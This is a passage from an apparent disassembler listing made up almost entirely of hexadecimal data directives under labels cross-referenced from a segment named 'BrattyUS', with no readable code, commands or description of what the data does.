		dd 74AC6C6Ch, 6C6C1515h, 7454156Ch, 6CACB7B7h, 15545474h
		dd 3D8D9454h, 941194ACh, 94949C9Ch, 6C541594h, 54159494h
		dd 0AC859454h, 9494ACACh, 5454AC94h, 0ACAC3D94h, 94AC94ACh
		dd 94159494h, 9C949494h, 94AC3D94h, 5474153Dh, 106C5454h
		dd 6C486C6Ch, 986CA06Ch, 943D5454h, 0B49C74B4h,	0ACD874D8h
		dd 6C546C54h, 747415CAh, 74746C74h, 63541554h, 54545454h
		dd 94D87454h, 743D9C94h, 52547474h, 6C6C6C6Ch, 0ACADED94h
		dd 0B4D1153Dh, 546C6CB7h, 295C5C54h, 94945474h,	54545454h
		dd 9494AC3Dh, 94941594h, 3D3D1515h, 742E5494h, 0B4B46C6Ch
		dd 1395919Ch, 90B9585h,	95958502h, 9099509h, 0B95959Dh
		dd 3D94B495h, 991720B7h
		db 0B7h, 20h, 17h
byte_3F8013	db 94h			; DATA XREF: BrattyUS:003DF414o
		dd 2EE9E1ECh, 0D72876D1h, 90902DD1h, 94D2D490h,	72D11554h
		dd 2E2E4767h, 58DF9C6Ch, 2 dup(0D1D1D1D1h), 0EE5133A9h
		dd 54ABD1E8h, 54E09CD1h
		db 0CFh, 54h, 2Eh
byte_3F8047	db 71h			; DATA XREF: BrattyUS:003DF418o
		dd 39250D21h, 2929D1A4h, 0E58C8529h, 2D2D2D2Ch,	0A42D8C2Dh
		dd 0A5A5A4A5h, 253DD1A5h, 71A43939h, 0A5A42D25h, 0F1A4A5A4h
		dd 2B2B8294h, 0C1CD942Bh, 0A521C9C1h, 0C1F1D1C1h, 24C1F194h
		dd 0A5C12424h, 1DF51915h, 0D1011EF5h, 0FD2929D1h, 292929A5h
		dd 19FD1929h, 9519FD19h, 0D119FD19h, 19AD9519h,	1DD1192Dh
		dd 0D11DADD1h, 29D11DADh, 0A501011Dh, 101A5D1h,	8581912Dh
		dd 0D1D10DA5h, 0A5A4D1D1h, 51AD2D35h, 0A551ADA5h, 51A951A9h
		dd 901A4DEh, 0DE50A5A5h, 0DE0D50DEh, 0A21D29A4h, 5DA43DD7h
		dd 431A4D1h, 0A4D18D89h, 2539D0D0h, 0D00D2ADEh,	25252D2Dh
		dd 252D25D1h, 29D1D125h, 35353929h, 0D3939D1h, 252D0D39h
		dd 0A5A5DE2Dh, 0F1A5E9E9h, 9591A5A5h, 0D18B958Bh, 0A4A5D12Dh
		dd 0A5A5A5DEh, 253D15A5h, 35051D11h, 1211D19h, 0D092905h
		dd 1535316Dh, 0A4253931h, 0A5A53929h, 2929E5A5h, 0A91125F1h
		dd 290909F1h, 712A2939h, 21A52181h, 35812121h, 682DFD29h
		dd 2D2D2D31h, 21212D2Dh, 0C9ACB521h, 0DED0A1A5h, 81898989h
		dd 2CA522A4h, 89A5A43Dh, 0A4A4A489h, 8D35A4A4h,	0B9B9B9E5h
		dd 0F9B1DED1h, 0A5D95CBBh, 8D3599F9h, 0F95C3999h, 91EBE5FFh
		dd 196F758Dh, 0A48D8DD1h, 598D5D71h, 0A5A5A5DEh, 0A5A4AD8Dh
		dd 8DA08DA9h, 2E8D8D8Dh, 0A1291DA5h, 0D1E9B1A1h, 0C9D1E9E9h
		dd 0A5A5ADC9h, 0A4A5ADADh, 0A52D5165h, 2D292929h, 0A41D3C1Dh
		dd 0E9E9E9A1h, 9DA5A4E9h, 0EDDED1A4h, 0D1695555h, 153FDEDEh
		dd 0A4AD69A5h, 0D0D07979h, 0D0D0D061h, 4 dup(0D0D0D0D0h)
		dd 5F5B792Dh, 0AFD0451Fh, 0B3D17F73h, 3C2CA4A5h, 2D011529h
		dd 0DE2D2D2Eh, 0A53991A4h, 7D793939h, 0D041D051h, 0D1CDD141h
		dd 656565D1h, 0D0261A05h, 0A465A469h, 21879D6Dh, 65A5312Dh
		dd 0AB2BABABh, 35A53509h, 0D24A411h, 0D252F2Fh,	79DE2525h
		dd 0A4A4A50Dh, 462D0109h, 85A4A5A5h, 0D139DE91h, 9595D1D4h
		dd 99A49999h, 81959199h, 0E5DE95A4h, 3DA42C95h,	0EDA45105h
		dd 0EDED6DA4h, 0C5D1C12Eh, 21252129h, 20202139h, 0DE69C521h
		dd 0DE69D5F1h, 21A42121h, 0D7212121h, 0D7EDEDD0h, 21D0C5EDh
		dd 0D5F121F1h, 3D919199h, 184C7D25h, 897437D2h,	7575A5A5h
		dd 0DD3931A4h, 162D8FADh
		db 0A5h, 21h
word_3F82C6	dw 0A1C7h		; DATA XREF: BrattyUS:003DF41Co
		dd 0A1A1EF2Fh, 5050A1A1h, 0A1A1A1A1h, 0A6A1A1A1h, 0A1FD97A7h
		dd 90907BCAh, 5656562Bh, 11C57A56h, 0A1062207h,	0A1A1A132h
		dd 0A1A1A156h, 0A1A1A153h, 0A1A1A1A1h, 230D92C7h, 0A10CA1D1h
		dd 2CA1A171h, 0A1A1A1A1h, 2E2E2E2Eh, 2EA12E2Eh,	2E2E2E2Eh
		dd 2EA12E2Eh, 722E2E2Eh, 0A1D45E17h, 0CEF8A1A1h, 989C0CC0h
		dd 902D3A3Ah, 0A1909090h, 0EA8282EDh, 0CE7E8A1h, 0A1A1A155h
		dd 0A1A1E405h, 0A1A1A1A1h, 0A1A1A10Dh, 2 dup(0A1A1A1A1h)
		db 3Ah
byte_3F8355	db 55h,	0F5h, 2Fh	; DATA XREF: BrattyUS:003DF420o
		dd 0EAD1D181h, 0D191902Bh, 22E25A5Ah, 942E9190h, 0D1D1766Bh
		dd 2616D22Eh, 2E0B182Eh, 0E7C0E29Dh, 3A94549Bh,	512A5ACBh
		db 0D0h
byte_3F8381	db 0D1h, 5Ch, 0D1h	; DATA XREF: BrattyUS:003DF424o
		dd 0DD5CD15Ch, 0D154DDDDh, 9A9C512Ch, 55555555h, 54555555h
		dd 54545454h, 2F705454h, 0D1DB24D1h, 0D1D1D1D1h, 0F545454h
		dd 0D1D1900Ch, 94949494h, 549C54D4h, 0D1D15454h, 0D2F39D1h
		dd 10D1945Ah, 54D111D4h, 0D1B21111h, 919595D1h,	0D1D19191h
		dd 0D13A7506h, 549454D1h, 54D11854h, 1C1C5454h,	941C2E54h
		dd 51949494h, 0D1C1E0D1h, 0D1D1D1D1h, 5454DA91h, 0D1D1D1D1h
		db 2 dup(0D1h),	55h
byte_3F83FF	db 0B9h			; DATA XREF: BrattyUS:003DF428o
		dd 2D2D9195h, 2D3D2DF5h, 0AB05292Dh, 0D12DB9D1h, 9211B911h
		dd 0E5111111h, 0E97BD17Bh, 0D4B9B9B9h, 0B9D4B95Ah, 0D0D9DDEDh
		dd 0B9B92DD1h, 0D1D15AB9h, 39D3D1D1h, 5C395CD0h, 5A39D0D1h
		dd 0D3B9582Eh, 0F5115AD1h, 11B51111h, 18118911h, 0D1110918h
		dd 392DD16Dh, 3E111111h, 0D03D3D19h, 0D17BD13Dh, 0D1D1D179h
		dd 0D13D3D61h, 0D33DD13Dh, 0B95A7B5Ah, 192FB9D4h, 112B4242h
		dd 2BC52B2Bh, 112BD02Bh, 0B9D0112Bh, 11D11111h,	11111111h
		dd 0D1BB1111h, 28030303h, 25585C28h, 92530ABh, 11191D05h
		dd 3030303h, 59640303h,	497B1155h, 710B2E39h, 4C7B322Eh
		dd 113204D7h, 11113211h, 0F15C1111h, 2CD1E52Ch,	2ECD0311h
		dd 0D3D3D111h, 0D111B9D3h, 11AD112Eh, 0B711AD11h, 3958A475h
		dd 0D9D4D1D4h, 0B7DE2626h, 2ED124DEh, 24342E2Eh, 0D12E574Dh
		dd 2E2E2E24h, 2E2E2E2Eh, 2E2E2EDCh, 4 dup(2E2E2E2Eh), 0BCBB2E2Eh
		dd 258DA2A1h, 3	dup(3030303h), 0D14D4D4Dh, 0D11125D1h
		dd 0D103D111h, 11110311h, 3031111h, 0D1D1D15Ch,	90D1D1D1h
		dd 39FA3990h, 2E5F0390h, 2C2C2E5Eh, 2D2D2D2Ch, 2EE9A439h
		dd 5A2929ADh, 39A52929h, 0F5A5D1F9h, 2DD4A9DEh,	2FD19051h
		dd 94338111h, 1C949494h, 1679BBA9h, 3B1E5809h, 5815CE3Eh
		dd 5D2FBE42h, 0B1B25990h, 21D1D258h, 11931191h,	877BD17Bh
		dd 2B2B2BD1h, 112E2B2Eh, 11111111h, 0D0B91111h,	2D2D112Dh
		dd 71B92D11h, 25254975h, 25252525h, 417B1111h, 2D962DB9h
		dd 0D1D11052h, 1A0DA15Ah, 901C1C11h, 26262626h,	0D1112626h
		dd 2AF72626h, 112EB9D1h, 1C1C1CD1h, 1C1C1C7Bh, 1111111Ch
		dd 552D011h, 7BD12DD1h,	2D2D7BD1h, 58522D52h, 0D1D12DB9h
		dd 0D12D2828h, 28D12828h, 28282828h, 2D294728h,	0D1D04D71h
		dd 0D1D1D152h, 5252A9ADh, 1C1C2ED1h, 0B9110Dh, 0D15AD011h
		dd 0B9D12BB9h, 2121D157h, 0D9D97D24h, 24D43D3Dh, 0D4E5E9D1h
		dd 212121D9h, 0D1242421h, 29ED2426h, 2B2B9195h,	3F3F3C2Bh
		dd 7BB9093Fh, 7B197B4Dh, 3C3CD43Ch, 5A2F3C3Ch, 0D5D13939h
		dd 0B90DDDD9h, 0A0A0A035h, 0A02E03A0h
		db 2Fh
byte_3F8661	db 29h,	2 dup(2Eh)	; DATA XREF: BrattyUS:003DF42Co
		dd 2E2E2E2Eh, 29382E2Eh, 2 dup(2E2E2E2Eh), 2E2DA42Eh, 2E2E385Ch
		dd 2E2E90D0h, 2E5A2E2Eh, 2 dup(2E2E5A2Eh), 8C2E8C2Eh, 2E8C2E2Eh
		dd 2E2E8C2Eh, 592E2E38h, 2E2E242Dh, 3A5C2ED0h, 2E5C2E2Eh
		dd 5A2E2E2Eh, 2A2E382Eh, 2E2E2E2Eh, 0D1A52E2Eh,	0D89C2E38h
		dd 213D3925h, 0D12D2DD1h, 2ED0D1D1h, 2E2E2ED3h,	212E2E2Dh
		dd 2E2E38D9h, 2E2E2E2Bh, 2BD12E2Eh, 2B9A2B2Eh, 7FCDA1DEh
		dd 0D19390D1h, 272ED226h, 272E2E26h, 2E2E2627h,	0CDA1D026h
		dd 38A53A27h, 383839D1h, 0BBDDBB2Dh, 0E6C9BB2Dh, 3939D0A4h
		dd 2E2ED093h, 0D72E2E2Eh, 19191919h, 1919D119h,	0D12E5219h
		dd 18292919h, 2E282E28h, 2E2E2E28h, 2E54292Eh, 0BB38D1D1h
		dd 3D2E215Ch, 0D1D1D9D9h, 2E9416D1h, 2 dup(2E2E2E2Eh)
		dd 585AA42Eh, 0A5A3D9D5h, 5DDA5D9h, 0A5D0A331h,	0A5D9A558h
		dd 0A484D1DDh, 0BBD15ADEh, 85D12A5Ah, 2ED18D89h, 0D12E493Fh
		dd 5A29BBA5h, 0BBBBBBB9h, 25BB3ABBh, 52293239h,	0DE315239h
		dd 0E2E2E281h, 0E25AE2E2h, 0CA58BB5Ah, 812E38A4h, 2E2E39D9h
		dd 2E2ED92Eh, 2ED9D92Eh, 2E2ED938h, 582E2E2Eh, 0D9D9D9D9h
		dd 0D9D9D139h, 0A7382ED9h, 0EAE2D939h, 0E25A915Ah, 9CFA5A2Dh
		dd 0D1DE3A99h, 395221D1h, 2D113A5Ah, 0C1D1D150h, 0C1D1D531h
		dd 0A22ED531h, 0E22E2E2Eh, 0E2D1A4A4h, 0D13E5A91h, 383A3838h
		dd 3A3A3838h, 0A52E5839h, 3B3938D1h, 384D4DAFh,	5A09D021h
		dd 5A2F0252h, 2E2E2E5Ch, 0A838D7D0h, 0D0D25AD0h, 38D1C12Dh
		dd 2E583852h, 2E5AD138h, 2E2E2ED0h, 0E239352Fh,	542E2D5Ch
		dd 54542E54h, 2E545454h, 0D0445454h, 54525454h,	542E5454h
		dd 54545454h, 522ED154h, 2E2E542Dh, 38F12E2Eh, 0D1383838h
		dd 2F2F2F38h, 0D12D2ED1h, 505B50D6h, 5A505050h,	0D92D59C9h
		dd 6F5A29B9h, 293A6F6Fh, 252DD0D0h, 0D1385225h,	0E2C5E252h
		dd 52DDE2E2h, 3DA4A4D1h, 2D2E2E2Eh, 255A58E2h, 252591D1h
		dd 0D1D2D225h, 0D1D12E10h, 0D128D1D1h, 52434352h, 39D12828h
		dd 292E5E1Ah, 2E385454h, 2E2EDE30h, 3 dup(2E2E2E2Eh), 0D12ECD2Eh
		dd 2E942539h, 0A5A4A4B7h, 0AED13A2Eh, 3971D1D1h, 5CE25831h
		dd 2F2F7170h, 2FD1B12Dh, 5A21A5D1h, 58D45A25h, 0D1D1112Eh
		dd 0D1D038D1h, 33838D1h, 382F2F39h, 2E4BB92Dh, 5A58395Ah
		dd 1012ED1h, 2E2E2E01h,	2 dup(2E2E2E2Eh), 2C2E2ED0h, 2 dup(2E2E2E2Eh)
		dd 2E2C2E2Eh, 2	dup(2E2E2C2Eh),	2 dup(2E2E2E2Eh), 2E2E2C2Eh
		dd 2E2E2E2Ch, 81D138D1h, 81D0D3D0h, 0D3D338D1h,	38382E58h
		dd 0BBD5D52Dh, 2ED0D92Dh, 21BBD12Dh, 2EE23A29h,	2E52DDC9h
		dd 292E2E2Eh, 0B4152E01h, 91DE412Bh, 26262691h,	812EB126h
		dd 2E2E8899h, 0D1D1DD2Eh, 541DD1D1h, 61D16DD1h,	4D4D2E2Eh
		dd 0D92E905Ah, 35212D2Eh, 69192E05h, 5949792Eh,	8DB5A1ADh
		dd 0CDF9E591h, 3829DD2Eh, 39D1B9D1h, 2E2E312Eh,	0A9752E2Eh
		dd 2E892E52h, 0ED2E9DC1h, 0F1E1D12Eh, 0D92EC52Eh, 0D1D12D2Eh
		dd 5A2E520Dh, 5A525215h, 2E2E2E2Eh, 752E5269h, 4D382E52h
		dd 59524152h, 0D92E52ADh, 0E1529581h, 38C1CDF5h, 0DE5A52D5h
		dd 616D15DEh, 0D15D4D79h, 1652BD2Eh, 5AD02ED1h,	5A585ADEh
		dd 4D585ADEh, 5ADE5A4Dh, 152E5858h, 2ED11652h, 585ADE5Ah
		dd 2E52492Eh, 5A5A2E2Eh, 3 dup(5A5A5A5Ah), 0E92E5A5Ah
		dd 0AD4D4D4Dh, 2E0DDDC9h, 65111905h, 594175D2h,	4D2E52ADh
		dd 52D14D4Dh, 0D12E2E52h, 2E2E2E2Eh, 0D12E2E2Eh, 2ED1D125h
		dd 2F2F2F2Fh, 0D9E22F2Fh, 0E539A4A4h, 49D14A0Ah, 2 dup(2E2E2E2Eh)
		dd 2AA4A4B9h, 2D2D292Dh, 29D12938h, 0C5395A38h,	2E38DED3h
		dd 2E2E672Eh, 0A22C2CC9h, 0A4292929h, 2E2E2E2Ch, 4138382Eh
		dd 6FD1386Fh, 0D1D1D85Ah, 6FD99595h, 385AD52Eh,	292929D1h
		dd 0E5295029h, 0D9292950h, 38D95029h, 0A4505255h, 5AA638A4h
		dd 0D0AD2DA4h, 2 dup(54905490h), 0A42ACC90h, 2DD02D2Dh
		dd 38D13838h, 0DDDD252Dh, 1181D12Fh, 67C0C167h,	0D32DD3C1h
		dd 0C167C167h, 5A1881C0h, 2D915A58h, 94D9102Dh,	94A49439h
		dd 0A414912Eh, 505A2D39h, 58502E50h, 77585858h,	0C5123095h
		dd 58CC2C4Ch, 3588748h,	582D5AD2h, 7D105BD2h, 2	dup(7D696561h)
		dd 0D1696561h, 0D1692E7Dh, 65D12E69h, 7DD161D1h, 2D8163E2h
		dd 97D12DD9h, 2E2ED538h, 5D2E2E2Eh, 5D5DD15Dh, 585D58D1h
		dd 5D58D15Dh, 5D5D5D58h, 5D585DB3h, 5D5D58D1h, 5DD15D5Dh
		dd 2E97D15Dh, 38383838h, 38383829h, 2EDF2ED3h, 0A4DD2ED1h
		dd 2E2E5929h, 2E2E2EBEh, 71382D93h, 85B5A95Dh, 25C5F9EDh
		dd 900D3890h, 9DD1D138h, 0C580D190h, 2D2E2D90h,	0D121E22Eh
		dd 2E2EFA2Eh, 0D1D1D12Fh, 2F2F382Fh, 2F2F2F2Fh,	2F232F2Fh
		dd 232323D0h, 2E232323h, 9C292E39h, 5ED1292Dh, 5858D1A4h
		dd 2E052E58h, 2E3D2139h, 2E2E2E2Eh, 0E2BB382Eh,	51292E2Dh
		dd 2E2D9090h, 2E2E2E2Eh, 2E2E382Eh, 2E2E2E2Eh, 2E382E25h
		dd 2E902E81h, 0A4F75C2Dh, 0D190A42Eh, 902E8138h, 39215A29h
		dd 2 dup(3DA43DA4h), 2EE2D1D1h,	0D12ED1D1h, 90909051h
		dd 2E2E2E01h, 2E2EDDD5h, 0C42E2E2Dh, 9A662BA4h,	90389038h
		dd 0D13BD181h, 29813839h, 0D19090DDh, 2A59262Eh, 2A2A2A2Ah
		dd 902E38D1h, 2E2E902Eh, 2EF82E2Eh, 2E2E2E2Eh, 382E2E2Eh
		dd 3866A4A4h, 2E2ED525h, 2E2E585Ah, 2E2E2D2Eh, 2E585A2Eh
		dd 2E2C2E2Eh, 2E2E2E39h, 0D12E2C2Eh, 0D138A0C5h, 0D1D03838h
		dd 0D0585A39h, 0BB52BB38h, 0A2385BD1h, 0D02B645Ah, 64D1382Bh
		dd 0D1D12E58h, 0D1BED139h, 0D12E2EB9h, 21D12ED5h, 2E2E2121h
		dd 21202E2Eh, 2E2E2E21h, 2927D52Eh, 272E512Eh, 202E2727h
		dd 0D5212121h, 909090E8h, 27272EACh, 0B92EAA27h, 0D1D12DD1h
		dd 502B2B2Eh, 2ED15AA4h, 2EA32EA4h, 0BB2EA3BBh,	0A3BB2EA3h
		dd 0D72EBB2Eh, 2E2E2E2Eh, 0D12E2E2Eh, 542E5050h, 5A382E38h
		dd 382E5A38h, 3A895A5Ah, 25A552D1h, 0D1D1D5D5h,	0BBDDA4BBh
		dd 292DD52Dh, 904D2E2Eh, 90904A90h, 2EB8310Eh, 0D1D1B92Dh
		dd 0F5F581D1h, 0DA8500F5h, 95F5F503h, 0F509A0A0h, 3A2058DAh
		dd 0A05A5AF5h, 0D1E081D1h, 0D1A55A87h, 0D15A5887h
		db 0D1h, 0A0h, 3Ah
byte_3F8D2F	db 2Eh			; DATA XREF: BrattyUS:003DF430o
		dd 2ED1D364h, 2E642E64h, 0B9642E64h, 0B995B981h, 0B9A9B9FDh
		dd 2E3DB9C9h, 2E642EC4h, 2E642E64h, 11D13D64h, 52261126h
		dd 0D1D0BB6Ch, 2ED1D1D1h, 2C2E2CA4h, 5CD1D02Eh,	5A945A54h
		dd 0D12E2794h, 5AD1D1D1h, 0B9545C94h, 0B96C522Dh, 5AE9B9EDh
		dd 522DB994h, 0B9D1BB6Ch, 2E545AC9h, 2E642E64h,	81642E64h
		dd 0B9642E39h, 2E642E9Dh, 52642E64h, 2E2EC76Ch,	0D16C522Eh
		dd 5AD1D1D1h, 2E642E54h, 2 dup(2ED1D164h)
		db 64h,	0D4h, 0D1h
byte_3F8DBB	db 0B9h			; DATA XREF: BrattyUS:003DF434o
		dd 0D1D1D1D3h, 915AD63Ah, 522D9458h, 2ED154EDh,	28D154E5h
		dd 7DD1D08Bh, 54D1D124h, 0A42E2C71h, 2CC42ED9h,	2CD52E2Eh
		dd 2FD52E2Eh, 2F812E2Eh, 0D1812E2Eh, 2C35545Ch,	2F812E2Eh
		dd 2CD02E2Eh, 2F5C2E2Eh, 0D1812E2Eh, 641552D1h,	0D12E2F21h
		dd 0D22ED1D1h, 529C5819h, 0D5D12DACh, 71D1D1D0h, 0DDD1D1B9h
		dd 0AA29545Ch, 2FD1D088h, 2F3A2E2Eh, 2F992E2Eh,	2F522E2Eh
		dd 2FD12E2Eh, 2FDE2E2Eh, 2F5C2E2Eh, 0DD812E2Eh,	393AD33Ah
		dd 392E2C02h, 502E2C11h, 3ED2393Dh, 0DDD1D089h,	85D9A42Eh
		dd 742E2E2Ch, 0C1D1D113h, 0D19C4E39h, 2ED1D0D1h, 2EDC3AD1h
		dd 2E545891h, 2E9D545Ah, 2EDED9EAh, 0D5C527B8h,	0D539C42Eh
		dd 0A1D1D1D0h, 2E81D190h, 2DC511B8h, 2E812E2Eh,	0D1C511B8h
		dd 2E5467DEh, 2EC511B8h, 2ED1D12Eh, 2EC511B8h, 2E545A2Eh
		dd 2E54582Eh, 64C511B8h, 2E2E2CEDh, 2E6C522Eh, 2EDED12Eh
		dd 2E52D12Eh, 2E3AD12Eh, 2E58912Eh, 2E545A2Eh, 2ED1D02Eh
		dd 2E58912Eh, 2E545A2Eh, 2E6FDE2Eh, 2E98382Eh, 2E6FDE2Eh
		dd 2E5CD22Eh, 2E445A2Eh, 2E6FDE2Eh, 2E5CD22Eh, 2E445A2Eh
		dd 2E6FDE2Eh, 2E5CD22Eh, 2E445A2Eh, 2EDED12Eh, 2EC511B8h
		dd 2CC511B8h, 0CD812E2Eh, 9D19050h, 0C5D1D16Fh,	2ECD545Bh
		dd 0D194592Eh, 2EED642Eh, 75C511B8h, 0D52E2E2Bh, 2EC0A5D1h
		dd 2EC511B8h, 5C642E2Eh, 312F8C54h, 0DDD1D16Ch,	645CF03Ah
		dd 1D2E2C95h, 6CD19051h, 0C1D1D16Ch, 5285642Eh,	5BD12DACh
		dd 5859C19Ch, 52B9D490h, 0DD81D811h, 0D4D9A42Eh, 0D1D1D0D8h
		dd 952DA42Eh, 0C9D191C3h, 52841218h, 0F0F25ECh,	0D12ED190h
		dd 0E3D1D1D3h, 0D04DC42Eh, 0DAA3D1D1h, 3AD1D083h, 0DDD1D1B1h
		dd 0A4D1545Ch, 501339D9h, 76D6E13Dh, 65D1D1D2h,	0DDD1D080h
		dd 0D0D9A42Eh, 0F72D1D1h, 2EBBD190h, 0D1B9812Eh, 29503DB9h
		dd 2E392E2Eh, 2EBBD12Eh, 2 dup(2E5C812Eh), 292E812Eh, 0D3392E2Eh
		dd 2EBBD1D1h, 2E5C812Eh, 0C45C812Eh, 2990A1A1h,	0D2392E2Eh
		dd 2EBBD1BBh, 29C42E2Eh, 29392E2Eh, 0DD812E2Eh,	2EBB95BBh
		dd 0D139812Eh, 2DDD1552h, 2ED02E2Eh, 2D54582Eh,	2E5A2E2Eh
		dd 2954582Eh, 0D1812E2Eh, 2EBBD0BBh, 292E812Eh,	0D0392E2Eh
		dd 2E2ED1D1h, 2E25722Eh, 2939722Eh, 0F722E2Eh, 0D12ED190h
		dd 29297452h, 0D5522E2Eh, 0D1D4A5D1h, 432D545Ch, 0DDD1D09Eh
		dd 5CBBD1BBh, 0E42C2D54h, 19900F25h, 4ED19050h,	0D12E2E2Dh
		dd 0E41683A4h, 79900F3Dh, 35D19050h, 29D1D169h,	29912E2Eh
		dd 295A2E2Eh, 0A2EA2E2Eh, 29545AF0h, 3ADE2E2Eh,	0D19416D6h
		dd 2 dup(0D1D1D1D3h), 5B2D545Ch, 0DDD1D09Fh, 2D5CD1BBh
		dd 5C812E2Eh, 0E42C2D54h, 2C900F25h, 45812E2Eh,	292E2E2Ah
		dd 0BB392E2Eh, 81945CD1h, 0D02DA42Eh, 0D1121889h, 0D1BBD1BBh
		dd 5201C42Eh, 52D12DACh, 0DD81D511h, 0D4D9A42Eh, 50D1D3D5h
		dd 0C1D191C8h, 50DDAC52h, 7D7D53Dh, 2CD1D1D2h, 0DDD1D09Dh
		dd 0C4D9A42Eh, 0D890A17Dh, 0D1D1D09Ch, 0D1E288D1h, 2E98545Ch
		dd 0FC5C812Eh, 0C1D1D1E3h, 2B295458h, 2E812E2Eh, 0C539812Eh
		dd 649D9639h, 2C2E2C29h, 2CD22E2Eh, 2C2E2E2Eh, 0D52E2E2Eh
		dd 64DD545Ch, 0D02E2C29h, 17D1545Ch, 0C1D1D09Ah, 0D5C16C50h
		dd 0D1D4A5D1h, 28D1D1D5h, 280A2E2Eh, 2B092E2Eh,	0E5812E2Eh
		dd 0F1D19053h, 0CDCD642Eh, 1DD1D1DBh, 0A2D1D1D3h, 0DDD1D09Bh
		dd 98D9A42Eh, 27D1D09Bh, 27812E2Eh, 81812E2Eh, 0C47C7A39h
		dd 2890A391h, 0DB812E2Eh, 0B92D545Ch, 0DDD1D5D1h, 245CD0BBh
		dd 0B9812E2Eh, 0DDD1D098h, 0D1C5642Eh, 0DD2ED1BBh, 273D545Ch
		dd 0B5812E2Eh, 0AAD19052h, 0C1D1D160h, 2429642Eh, 28812E2Eh
		dd 5C812E2Eh, 1826F154h, 0C9D1D160h, 273BB1B9h,	0F812E2Eh
		dd 0C5D1D160h, 0D1962A39h, 0D0D1D1D3h, 0D921545Ch, 0C1D1D099h
		dd 24255458h, 2	dup(24D12E2Eh),	645C2E2Eh, 0DD2E2839h
		dd 27A41154h, 25812E2Eh, 88D19053h, 0C1D1D160h,	24D12E38h
		dd 0D5D12E2Eh, 0D1D4A5D1h, 24D1D1D5h, 24802E2Eh, 240A2E2Eh
		dd 27092E2Eh, 61812E2Eh, 5AD19053h, 0F1D1D161h,	5239642Eh
		dd 52D125ACh, 52D12DACh, 0DD81D511h, 10D0D5B9h,	0DDD1D094h
		dd 0D4D0D1B9h, 0D4D1D0F8h, 5AD1D3F8h, 0D458259Ch, 0B9D1D3E2h
		dd 0D191CFE9h, 521552D1h, 52D12DACh, 0DD81D511h, 2AD0D5B9h
		dd 0DDD1D095h, 0D4D072B9h, 0B9D1D0F8h, 0F191F113h, 0C1D1D1D5h
		dd 0D1D1D1F6h, 0C1C5A42Eh, 2A3D5458h, 25D12E2Eh, 0D0D19052h
		dd 2AD1D1D5h, 0C5812E2Eh, 982D545Ch, 64D1D095h,	0DD2E2A3Dh
		dd 0D0F6C1B9h, 2AD1D1D5h, 2A812E2Eh, 0C1392E2Eh, 2A315458h
		dd 3D392E2Eh, 2AD19052h, 9812E2Eh, 2AD19052h, 2A812E2Eh
		dd 2AD12E2Eh, 2AEA2E2Eh, 2A392E2Eh, 2AD12E2Eh, 11812E2Eh
		dd 2AD19052h, 0DD392E2Eh, 2A295458h, 2A582E2Eh,	2A392E2Eh
		dd 0C1FA2E2Eh, 2A21545Ah, 2 dup(2AFA2E2Eh), 0D5522E2Eh
		dd 2AF1A5D1h, 0D0392E2Eh, 2AD1D1D5h, 2A812E2Eh,	0C1392E2Eh
		dd 2A315458h, 2A392E2Eh, 0D0392E2Eh, 4B2D545Ch,	0C1D1D090h
		dd 2A35545Ah, 2A522E2Eh, 2AD12E2Eh, 0D5392E2Eh,	0D3D1D1D9h
		dd 0DDD1D090h, 29D9A42Eh, 0CE812E2Eh, 0CE11E288h, 2911E288h
		dd 28812E2Eh, 542E2E2Eh, 835CD190h, 0C5D1D17Bh,	54B9D6BBh
		dd 0AC5CD190h, 0DDD1D095h, 28DE1154h, 2B812E2Eh, 28812E2Eh
		dd 3D2E2E2Eh, 0C1D1D178h, 155CF23Ah, 162E2E28h,	0C1D1D178h
		dd 7015642Eh, 3CD1D0EEh, 91D1D1C4h, 2E2E28h, 0D6D1D0EFh
		dd 415485B9h, 0DDD1D093h, 0F8A41154h, 28D1D0EFh, 0E7812E2Eh
		dd 0DDD1D093h, 1EA41154h, 28D1D0ECh, 0E9812E2Eh, 4CD19054h
		dd 5BD1D0ECh, 67D1D0ECh, 0DDD1D090h, 9EA41154h,	28D1D0ECh
		dd 28812E2Eh, 0C92E2E2Eh, 0DDD1D176h, 0D115642Eh, 26E288D1h
		dd 0D7D1D0EDh, 28D1D0ECh, 0DD812E2Eh, 2CD151B9h, 0DD812E2Eh
		dd 2891545Ah, 29812E2Eh, 50D19055h, 2CD1D0EDh, 28D12E2Eh
		dd 552E2E2Eh, 3F5CD190h, 0DDD1D174h, 0D115642Eh, 0D3E288D1h
		dd 2C5AD1D1h, 2C912E2Eh, 2E812E2Eh, 2B812E2Eh, 2C812E2Eh
		dd 2E812E2Eh, 2C812E2Eh, 0F5812E2Eh, 2BA55458h,	2C812E2Eh
		dd 2E812E2Eh, 2C812E2Eh, 0F5812E2Eh, 2BA55458h,	2C812E2Eh
		dd 2E812E2Eh, 0CD812E2Eh, 2CA55458h, 26542E2Eh,	2B522E2Eh
		dd 28812E2Eh, 552E2E2Eh, 155CD190h, 0CDD1D172h,	0C4546FDEh
		dd 0BB90A17Dh, 2CC42ED1h, 2B542E2Eh, 28812E2Eh,	0FA2E2E2Eh
		dd 0C1D1D172h, 155CF23Ah, 0D72E2E28h, 0C1D1D172h, 0C515642Eh
		dd 52DDAC52h, 52D13DACh, 0DD81D511h, 0D4D0D5B9h, 0BBD1D3DDh
		dd 0B9A42ED1h, 0C591FBE3h, 0D0D1D1D0h, 0D10EDDB9h, 528888D1h
		dd 0D50ED9ECh, 2FDDA4D0h, 2FD92E2Eh, 2F2D2E2Eh,	0D12E2E2Eh
		dd 0D1945AD1h, 915AD1D1h, 59A42E81h, 99D1900Ah,	0D52D945Ah
		dd 0D5BAA4D0h, 2FD1D1D0h, 0D1812E2Eh, 0D15DC42Eh, 0BB25545Ch
		dd 0D1C42ED1h, 0D18DC42Eh, 0D15A91D1h, 0D01952D1h, 99121889h
		dd 0D5C1AC52h, 0D9CFA5D1h, 0EDC4A5D3h, 0D3D1D1F6h, 0E152D1D1h
		dd 52E48239h, 39D11DACh, 16D0E480h, 5AD3D591h, 3A58199Ch
		dd 0D79416D6h, 5AD1D1D1h, 1658159Ch, 52C1C191h,	585AF111h
		dd 1D52C990h, 5FF11152h, 0DDD1D0E5h, 58C5945Ah,	5211E2D9h
		dd 0D1D13DACh, 5A5AC0A5h, 525ADD91h, 39D135ACh,	5AD0E5DCh
		dd 16581184h, 5AD5D095h, 0D6586D84h, 5A699416h,	16586984h
		dd 5CC1D095h, 58F1D095h, 5AC9DB95h, 0BB5ADD91h,	5C945CC1h
		dd 1CF1D095h, 0DDD1D0E3h, 1139AC52h, 0D29C5AE1h, 58945A19h
